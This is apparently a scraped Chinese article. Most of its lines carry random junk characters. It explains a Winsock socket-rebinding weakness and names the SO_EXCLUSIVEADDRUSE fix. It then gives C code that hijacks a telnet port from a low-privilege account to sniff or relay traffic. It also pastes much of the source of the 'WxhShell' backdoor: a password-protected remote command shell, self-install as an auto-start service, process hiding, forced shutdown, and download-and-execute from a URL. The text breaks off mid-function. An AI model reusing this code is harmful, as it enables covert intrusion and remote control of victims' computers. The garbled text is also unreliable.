在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
xaeY^"L s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8^4X/n FG8bP saddr.sin_family = AF_INET;
Bj]0Cz ~Q]B}qdm saddr.sin_addr.s_addr = htonl(INADDR_ANY);
M#|TQa N @pG\5 Jnf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\8t g7Sdq qC3 rHT] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
-<s?`Rnk T`W FY 这意味着什么?意味着可以进行如下的攻击:
pH"LZ7)DI0 4Y)3<=kDG 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
x b _C1n :+R||qi 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
b1 KiO2
E A: @=?(lI3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
>?$Ze @
@u$oqjK 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|r
/}r,t} n%?g+@y,^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
c/x(v=LW 0{B5C[PTG 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
L50`,,WF [tBIABr 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
tDi=T]-bt %9zcc)cP #include
m' aakq #include
G! 87F/ #include
IO6i #include
s*!2oj DWORD WINAPI ClientThread(LPVOID lpParam);
jf$t int main()
".@SQgyb0 {
g`&pQ%|= WORD wVersionRequested;
:V_$?S DWORD ret;
goHr#@ WSADATA wsaData;
IXg${I}_Q BOOL val;
glv(`cQ SOCKADDR_IN saddr;
| z('yy$ SOCKADDR_IN scaddr;
9(@bjL465 int err;
$9l3DJ SOCKET s;
F1,pAtA SOCKET sc;
NOQgkN int caddsize;
p@Qzg
/X HANDLE mt;
aFC3yMKXh DWORD tid;
rg P$\xn- wVersionRequested = MAKEWORD( 2, 2 );
h]zx7zt-
err = WSAStartup( wVersionRequested, &wsaData );
?]7ITF if ( err != 0 ) {
6f{ c printf("error!WSAStartup failed!\n");
eFeeloH?e* return -1;
`i.f4]r }
f|q6<n_nM saddr.sin_family = AF_INET;
Dn6DkD! O&O1O>[p1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
h]D=v B :s$9#}hw, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
\]r{73C saddr.sin_port = htons(23);
|MBnRR if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y&j6;2-Z {
|RpC0I printf("error!socket failed!\n");
Ia(A&Za return -1;
v
h%\ " h }
Z4(2&t^ val = TRUE;
nrf%/L //SO_REUSEADDR选项就是可以实现端口重绑定的
=LT( {8 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
F*NIs:3; {
Dgkt-:S/T| printf("error!setsockopt failed!\n");
P,v}Au( UI return -1;
_QErQ^` }
Sqb#U{E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Xajjzl\b //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>"Hj=? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]Wy V bIu )*_YeT&w. if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
]-AT(L> {
Z6
aT%7}} ret=GetLastError();
3'']q3H printf("error!bind failed!\n");
l'o}4am return -1;
P/y-K0u }
^X_%e | listen(s,2);
W&*{j;e9%I while(1)
t4JGd)r {
J,q: caddsize = sizeof(scaddr);
$>BP}V33 //接受连接请求
^L'K?o
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
MP3E]T~: if(sc!=INVALID_SOCKET)
s0`uSQ2X {
IBuuZ.=j2h mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
.*zQ\P if(mt==NULL)
|FcG$[ {
BShZ)t printf("Thread Creat Failed!\n");
A l` ;SWN break;
B"EMir' }
`n %~#TJ }
~M\s!!t3 CloseHandle(mt);
Ti'O 2k }
ck@[% ? closesocket(s);
PNKmI WSACleanup();
5q)Eed return 0;
{<]abO }
:WxMv~e{U DWORD WINAPI ClientThread(LPVOID lpParam)
kNjbpCE\! {
}5]NUxQ_ SOCKET ss = (SOCKET)lpParam;
*in_Zt3 SOCKET sc;
`#(4K4]1. unsigned char buf[4096];
l,/5$JGnk SOCKADDR_IN saddr;
JZ<O-G+ long num;
@vv`86bm DWORD val;
Tru`1/ 7I DWORD ret;
!BY=HFT //如果是隐藏端口应用的话,可以在此处加一些判断
6-JnT_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
iFHVr'Og' saddr.sin_family = AF_INET;
$:xUXEi{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
S\ li<xl saddr.sin_port = htons(23);
Dho~6K}" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g=%W"v {
N2~z&y8. printf("error!socket failed!\n");
*i\7dJ Dj return -1;
0qTa @y }
'Gc6ZSLM val = 100;
B02~/9*Y" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)V>FU= {
:N[2*.c[ ret = GetLastError();
.O,gl$y} return -1;
#
I<G:) }
0}b8S48|? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
V}JW@ {
95+}NJ;r ret = GetLastError();
\l[5U3{ return -1;
yy>4`_ }
@-7K~in?^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1X{A}9nA {
Z$pR_dazU printf("error!socket connect failed!\n");
C
qxP@ closesocket(sc);
x##Iv|$ closesocket(ss);
ce;9UBkOg2 return -1;
7O{\^Jz1 }
ogPfz/ hw while(1)
ud.S,
8Sy {
G>!"XK:fB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
J:Qp(s-N^: //如果是嗅探内容的话,可以再此处进行内容分析和记录
7f(UbO@BD //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}W YY5L8^ num = recv(ss,buf,4096,0);
X%gJ,c(4 if(num>0)
_I-0[w send(sc,buf,num,0);
H`".L^ else if(num==0)
2.x3^/ break;
Y6CadC num = recv(sc,buf,4096,0);
!#X^nlc if(num>0)
6^wiEnA send(ss,buf,num,0);
C
:e 'wmA else if(num==0)
CZuxH break;
YGNX+6Lz }
zxj!ihs< closesocket(ss);
&,#VhT![ closesocket(sc);
{6KU.'#iF return 0 ;
5 i#B?+Y }
Y<|L|b6 9sRP8Nj| ?,Hk]Rl3 ==========================================================
8!T^KMfz UIyOn` d " 下边附上一个代码,,WXhSHELL
|M0TG *Lufz-[1 ==========================================================
`t8e2?GH 6qw_ |A&g #include "stdafx.h"
aTPpE9Pa& vCi:cIp/ #include <stdio.h>
d }]b #include <string.h>
k"n#4o: #include <windows.h>
\t1vYIY]T #include <winsock2.h>
";zl6g" #include <winsvc.h>
pGOS'.K%t8 #include <urlmon.h>
L72GF5+!! kQ:2 @SOm #pragma comment (lib, "Ws2_32.lib")
Y>z(F\ #pragma comment (lib, "urlmon.lib")
nbYaYL?& {b+IDq`)= #define MAX_USER 100 // 最大客户端连接数
g_}@/5?y #define BUF_SOCK 200 // sock buffer
G3e%~ #define KEY_BUFF 255 // 输入 buffer
^ZV xBQKg ;Lu}>.t #define REBOOT 0 // 重启
9\"~ G) #define SHUTDOWN 1 // 关机
6HEl1FK{@ ;or> Sh7 #define DEF_PORT 5000 // 监听端口
mg3jm ~ PP GU1 #define REG_LEN 16 // 注册表键长度
'}}DPoV #define SVC_LEN 80 // NT服务名长度
l@GpVdrv }x8fXdd // 从dll定义API
PzF)Vg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
[Z[)hUXE? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>,9t<p=Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5G2u(hx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
q`{.2yV UjfB+=7I{L // wxhshell配置信息
sS0psw1 struct WSCFG {
X `vDhfh>N int ws_port; // 监听端口
!O.B, char ws_passstr[REG_LEN]; // 口令
Q/+a{m0f int ws_autoins; // 安装标记, 1=yes 0=no
w"Z>F]YZ char ws_regname[REG_LEN]; // 注册表键名
Uligr_c? char ws_svcname[REG_LEN]; // 服务名
lmd0Q(I char ws_svcdisp[SVC_LEN]; // 服务显示名
d,H% char ws_svcdesc[SVC_LEN]; // 服务描述信息
1n5&PNu char ws_passmsg[SVC_LEN]; // 密码输入提示信息
4@VX%5uy int ws_downexe; // 下载执行标记, 1=yes 0=no
kz??""G7/ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
bb<Vh2b>R char ws_filenam[SVC_LEN]; // 下载后保存的文件名
T<ua0;7 ;Joo!CXHO };
.K0BK)axO ZuE0'9 // default Wxhshell configuration
2ru6bIb; struct WSCFG wscfg={DEF_PORT,
Ex Qld "xuhuanlingzhe",
j9qN!.~mM 1,
b/G0EcRw+ "Wxhshell",
s}A]lY "Wxhshell",
]~oM'?&! "WxhShell Service",
Rp|:$5&nE "Wrsky Windows CmdShell Service",
"C.$qk] "Please Input Your Password: ",
_%>.t 1,
zzxU9m~" "
http://www.wrsky.com/wxhshell.exe",
B
O"+m "Wxhshell.exe"
{!="PnB };
%? g]{ {7;TQ?/ // 消息定义模块
:DZiDJ@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6?Wsg`9 char *msg_ws_prompt="\n\r? for help\n\r#>";
712i| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
O-|3k$'\z char *msg_ws_ext="\n\rExit.";
~q9RZ#g13J char *msg_ws_end="\n\rQuit.";
4gZN~_AI< char *msg_ws_boot="\n\rReboot...";
D QRt\! char *msg_ws_poff="\n\rShutdown...";
' ZB%McS char *msg_ws_down="\n\rSave to ";
f]hW>-B(q (Hsfrc char *msg_ws_err="\n\rErr!";
Ne4A char *msg_ws_ok="\n\rOK!";
^.4<#Qs NfSe(rd char ExeFile[MAX_PATH];
NT nn!k int nUser = 0;
ZqhINM*Rm HANDLE handles[MAX_USER];
k82'gJ;MC= int OsIsNt;
n2QD*3i >SzTZ3!E SERVICE_STATUS serviceStatus;
;P{ *'@ SERVICE_STATUS_HANDLE hServiceStatusHandle;
F%Xq}LMd (O&b:D/Y // 函数声明
v14[G@V~\ int Install(void);
>,y QG+ int Uninstall(void);
;Rt,"W) int DownloadFile(char *sURL, SOCKET wsh);
Xak~He int Boot(int flag);
{Cd*y6lI void HideProc(void);
LO2sP"9 int GetOsVer(void);
ffWvrY;j[ int Wxhshell(SOCKET wsl);
N$3F4b%+ void TalkWithClient(void *cs);
[m"X*ZF int CmdShell(SOCKET sock);
.c',?[S/vH int StartFromService(void);
ePF9Vzq int StartWxhshell(LPSTR lpCmdLine);
leiza?[ {4I sz-P VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
/RMep8& VOID WINAPI NTServiceHandler( DWORD fdwControl );
n
b{8zo M5q7`
}>G // 数据结构和表定义
#(A>yW702 SERVICE_TABLE_ENTRY DispatchTable[] =
2{qoWys8[ {
8Ej2JMc {wscfg.ws_svcname, NTServiceMain},
p&q&Fr- {NULL, NULL}
)PwDP };
BvYJ!Vj 3Y8%5/D5 // 自我安装
UR\*KR;yM int Install(void)
jjwY{jV {
fu|I(^NV char svExeFile[MAX_PATH];
@Wv*` HKEY key;
+Gjy%JFp strcpy(svExeFile,ExeFile);
&2g1Oy~ D]0#A|nF // 如果是win9x系统,修改注册表设为自启动
7_|zMk.J* if(!OsIsNt) {
\;sUJr"$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]__M* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rzex"}/ly RegCloseKey(key);
#A|MNJ%m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Axcm~!uf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
i\3`?d RegCloseKey(key);
R` N-^x return 0;
-W oZwqh }
#\"5:.H Oz }
mjw:Z, }
`fL$t0" else {
Ms$kL'/ sQ_{zOUPh // 如果是NT以上系统,安装为系统服务
2#rF/!`^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@-W)(9kZ| if (schSCManager!=0)
U_!6pqFc {
EBn7waBS SC_HANDLE schService = CreateService
-yC},tK (
>Rr]e`3wG schSCManager,
LsLsSV wscfg.ws_svcname,
jKtbGVZ7r wscfg.ws_svcdisp,
VfQSfNsi SERVICE_ALL_ACCESS,
/2YI!U@A SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-dza_{&+iZ SERVICE_AUTO_START,
b,!h[ SERVICE_ERROR_NORMAL,
g.veHh|;_ svExeFile,
* %MY. # NULL,
GB{%4)%6 NULL,
K}*s^*X NULL,
Bt.WRRpAB NULL,
Z*oGVr
g NULL
tewC *%3V );
e}Db-7B_~ if (schService!=0)
+4@EJRC {
a|OX4 CloseServiceHandle(schService);
1|Fukx<@J< CloseServiceHandle(schSCManager);
(llg!1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
H*!E*_ strcat(svExeFile,wscfg.ws_svcname);
3vMfms if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`?La RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
pV1~REk$& RegCloseKey(key);
;8ugI return 0;
M,7v}[Tbl }
v_b%2;<1 }
OpiN,>; CloseServiceHandle(schSCManager);
**oN/5 }
"EA%!P:d, }
d^,u"Z9P _RAPXU~ 6- return 1;
b&0q%tCK }
BCFvqhF7s |J8c|h< // 自我卸载
5I@< 6S&X int Uninstall(void)
vQ
5
p {
sqsBGFeG HKEY key;
\`x$@s? qi$6y? if(!OsIsNt) {
2r\f!m' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%kyvtt RegDeleteValue(key,wscfg.ws_regname);
Es)Kw3^a RegCloseKey(key);
KecR jon ~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
8*lVO2 RegDeleteValue(key,wscfg.ws_regname);
'w&,3@Z RegCloseKey(key);
yV_aza return 0;
qL]!/} }
hX<0{pXM4 }
zsWYV n] }
\|Us/_h else {
GsxrqIaD Z?dz@d%C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7hQrL+%q8 if (schSCManager!=0)
kWF, *@.B {
TVQ9"C SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
J](AJkGzK if (schService!=0)
V|DAw[!6N {
cbNrto9 if(DeleteService(schService)!=0) {
QYDSE CloseServiceHandle(schService);
fyh9U_M);w CloseServiceHandle(schSCManager);
l(*`,-pv: return 0;
gP?pfFhG }
a!]'S4JS CloseServiceHandle(schService);
([^1gG+>J }
+H8]5~',L% CloseServiceHandle(schSCManager);
8L^5bJ }
(xy/:i".V }
'tklz* `gx_+m^ return 1;
HW)> ` }
pFx7URZA [a`89'"z // 从指定url下载文件
>6KuZ_ int DownloadFile(char *sURL, SOCKET wsh)
GMr jZ {
B&VruOP0 HRESULT hr;
~4<xTP\* char seps[]= "/";
>2tYw,m char *token;
!T!U@e=u char *file;
xhWWl(r`5 char myURL[MAX_PATH];
u%}zLwMH char myFILE[MAX_PATH];
srLXwoN[ RNiFLD%5 strcpy(myURL,sURL);
wa5wkuS)ld token=strtok(myURL,seps);
-X3yCK?re while(token!=NULL)
`$Z:j;F {
C%vR!Az file=token;
//xK v{3fI token=strtok(NULL,seps);
")}^\Om }
Uf4A9$R.G >^=upf/ GetCurrentDirectory(MAX_PATH,myFILE);
'pa[z5{k+ strcat(myFILE, "\\");
;p)RMRMg strcat(myFILE, file);
gY|f[M| send(wsh,myFILE,strlen(myFILE),0);
\!x~FVA send(wsh,"...",3,0);
GHWi,' mr hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
~=67#&(R if(hr==S_OK)
bnIl@0Y return 0;
&e0BL z else
m&a.i
B return 1;
W US[hx, qr~P$ }
Jz<-B 98'/yZ // 系统电源模块
g0O~5.f int Boot(int flag)
F>RL&i {
Q8.=w HANDLE hToken;
q!iSY TOKEN_PRIVILEGES tkp;
LDc?/
Z1 ~.7/o0'+ if(OsIsNt) {
l|RBO+} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
KPHtD4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
K2|2Ks_CS tkp.PrivilegeCount = 1;
|Tv}leJF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Xt}
4B# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
H{hd1 if(flag==REBOOT) {
$lVR6|n if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
W T~UEK' return 0;
79`OB## }
g\%;b3"# else {
PDQEI55 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
XB0G7o%1 return 0;
5-*hAOThg }
yxk:5L \A }
%B}<5iO else {
>^:*x_a9 if(flag==REBOOT) {
WoV"&9y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*Ri\7CqU"6 return 0;
\3"jW1Wb }
}_mVXjF else {
P K+rr.k] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.q90+9Ek= return 0;
]y0bgKTK }
epN!+(v }
JkShtLEr \<ko)I#% return 1;
p~'iK4[&6 }
>V%lA3 6;:z?Q // win9x进程隐藏模块
\1Xr4H
u void HideProc(void)
pq"Z,9,F% {
zEVQ[y6BcM zsM2R"[X HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%8O1sF if ( hKernel != NULL )
W{RZ@3ZY {
2t7P| b~V1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
g?.y7!m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]SC|%B_* FreeLibrary(hKernel);
/9pN.E }
HVd y!J &=^YN"=Z return;
%1oB!+tv }
CZ33|w 0Ra%>e(I^ // 获取操作系统版本
w!dgIS$ int GetOsVer(void)
38GkV.e}$ {
*z'v OSVERSIONINFO winfo;
l|81_B C" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[I?[N.v GetVersionEx(&winfo);
jj&mRF0gCb if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
-aq3Lqi return 1;
Qz"+M+~%& else
;Rlf[](iL return 0;
2YDD`:R
}
3,'LW} 9a2[_Wy // 客户端句柄模块
Sse%~:FL int Wxhshell(SOCKET wsl)
htT9Hrx {
G} f9:G SOCKET wsh;
Ze!/b|`xI struct sockaddr_in client;
&MZ{B/;;H DWORD myID;
Mkh/+f4 uO>x"D5tZ: while(nUser<MAX_USER)
NCdDG {
QQ`tSYgex int nSize=sizeof(client);
d"yJ0F wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
&OlX CxH if(wsh==INVALID_SOCKET) return 1;
xw}rFY$ 2n+ud ?|l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
1M.#7;#B3 if(handles[nUser]==0)
XuWX@cK closesocket(wsh);
/d+v4GIB else
{qGXv@
I6 nUser++;
1`1jSx5}. }
Wks zNh WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]- 6q`'?[ %"cOX return 0;
^W(ue]j}o }
[,MaAB YZ]}l%e // 关闭 socket
RH{+8?0 void CloseIt(SOCKET wsh)
?H!jKX {
,Ne9x\F closesocket(wsh);
6ddRFpe nUser--;
E2 FnC}#W ExitThread(0);
2
FoLJ }
^62z\Y E7i/gY // 客户端请求句柄
QOgGL1)7- void TalkWithClient(void *cs)
r@zs4N0WP {
H
"Io!{aKU \crh`~?> SOCKET wsh=(SOCKET)cs;
A9g/At_ char pwd[SVC_LEN];
33KCO char cmd[KEY_BUFF];
H0 Zo.Np char chr[1];
j D*<M/4 int i,j;
/NjBC[P auB
931| while (nUser < MAX_USER) {
:{^~&jgL n&o"RE 0~0 if(wscfg.ws_passstr) {
t*; KxQ+'? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
am!ssF5s //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
2D:,( //ZeroMemory(pwd,KEY_BUFF);
H)h^|A/vO i=0;
lxCAZa\ while(i<SVC_LEN) {
FaWDAL=Vhk 4s~X // 设置超时
;w+ fd_set FdRead;
q6*i/"mN* struct timeval TimeOut;
$UdBZT- FD_ZERO(&FdRead);
3M(*q4A$" FD_SET(wsh,&FdRead);
YD@Z}NE
v" TimeOut.tv_sec=8;
FZ RnIg TimeOut.tv_usec=0;
u Fw1% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
XZ{rKf2 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
WO{7/h</ pouXt-%2X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
q.<)0nk pwd
=chr[0]; /P-#y@I
if(chr[0]==0xd || chr[0]==0xa) { '<vb_8.
pwd=0; [E%g3>/mt
break; .I EHjy\+
} ji>LBbnHdE
i++; rW|%eT*/'A
} {chZ&8)f
9BpxbU+L;
// 如果是非法用户,关闭 socket /F9Dg<#a
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j!NXNuy:
} @;KYvDY
<wb6)U.
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \2=I//YF
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m&b1H9ymd
h_ccE6]t
while(1) { v&(=^A\eN
pZK 1G
ZeroMemory(cmd,KEY_BUFF);
[B`4I
]cv|dc=
// 自动支持客户端 telnet标准 B6;>V`!
j=0; d(XOZF
while(j<KEY_BUFF) { Q\}-MiI/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QcX\z\'vg
cmd[j]=chr[0]; f8SO:ihXL
if(chr[0]==0xa || chr[0]==0xd) { IY8<^Q']
cmd[j]=0; i].E1},%
break; TmftEw>u
} z;P#
j++; ^n<YO=|u
} U^|T{g+O
U}DE9e{/!
// 下载文件 %FM26^
if(strstr(cmd,"http://")) { ab2Cn|F
send(wsh,msg_ws_down,strlen(msg_ws_down),0); S[q:b
.
if(DownloadFile(cmd,wsh)) 9d^m 7}2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J=78p#XUg
else )+'=Zvgej=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [<{r~YFjWW
} 7P(jMalq
else { v4Rci^ 8
9B;WjXSe
switch(cmd[0]) { R`DzVBLl
2L;=wP2?{
// 帮助 l'_]0%o]
case '?': { IDJ2epW*;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^X+qut+~
break; [e
ztu9
} *P9" 1K+
// 安装 ,wM}h
case 'i': { |a"]@W$>
if(Install()) !QvmzuK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Mm_xYDud
else 0SWqC@AR%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G/FDD{y
break; uq-`1m}
} CJCxL\
// 卸载 WkE="E}
case 'r': { Li|~%E1
if(Uninstall()) ZzgzeT+bv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {DKZ~
else )-1e}VF(U
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YLTg(*
break; T%&vq6
} zj]
g^c;
// 显示 wxhshell 所在路径 8<T~AU8'*
case 'p': { sRZ<c
char svExeFile[MAX_PATH]; F(."nUrf
strcpy(svExeFile,"\n\r"); _0gdt4
strcat(svExeFile,ExeFile); ,g}$u'A+d
send(wsh,svExeFile,strlen(svExeFile),0); "=
%"@"<)
break; jUNt4
} J
;z`bk^
// 重启 l3ogMRq@
case 'b': { Kw;gQk~R!
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "0Z/|&
if(Boot(REBOOT)) =y@0il+V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $\vNSTE
else { ,{S $&g*
closesocket(wsh); "ldd&><
ExitThread(0); 4v_Hh<%
} ,aUbB8
break; 0fBwy/:
} SPdEO3
// 关机 2jC:uk
case 'd': { ogQfzk
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z}0xK6
if(Boot(SHUTDOWN)) gsEcvkj*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LFxk.-{=
else { +%,oq]<[,
closesocket(wsh); LI3L~6A>
ExitThread(0); )P
b$
} h9imS\gfr
break; W!\%v"
} kiN,N]-V
// 获取shell Spx%`O<
case 's': { r9N?z2X
CmdShell(wsh); Cj4Y, N
closesocket(wsh); k
Qr
ExitThread(0); kO*\JaD
break; |5dNJF8;Q
} 6Y\TVRR
// 退出 W ).Kq-
case 'x': { W?aP%D"(i
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); J|^XD<Y
CloseIt(wsh); D6?h
6`J
break; E:/!]sm!
} ]nebL{}5
// 离开 }T\.;$f
case 'q': { 2*O#m
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^?(#%~NS
closesocket(wsh); }za pN
v
WSACleanup(); Y7g%nz[[
exit(1); ,4'y(X<R
break; F5YoEWS
} ;T0X7MNx
} ^&mrY[;S
} H.>EO|p
vxk0@k_
// 提示信息 U _A'/p^D
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vdgK3I
} _6c/,a8;*J
} B@ufrQ#Y.
z a_0-G%C2
return; Tq)hAZ
} \}.bTca
j}/).O
// shell模块句柄 `W+-0F@Y?@
int CmdShell(SOCKET sock) bfncO[Q,?
{ `S-l.zSZ4B
STARTUPINFO si; hg0{x/Dgny
ZeroMemory(&si,sizeof(si)); d`flYNg4
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :/5GHfyj
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3 V ^5 4_
PROCESS_INFORMATION ProcessInfo; /({oN1X>i
char cmdline[]="cmd"; @XtrC|dkkE
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _{#K
return 0; M6Xzyt|
} 6QT&{|q=
}ff^^7_
// 自身启动模式 {Y2J: x
int StartFromService(void) LVdR,'lS
{ mejNa(D ^
typedef struct ~4Fz A,,
{ wL:7G
DWORD ExitStatus; g|3bM
DWORD PebBaseAddress; sxRKWM@4
DWORD AffinityMask; GJQ>VI2cY
DWORD BasePriority; fDW:|%{Y,
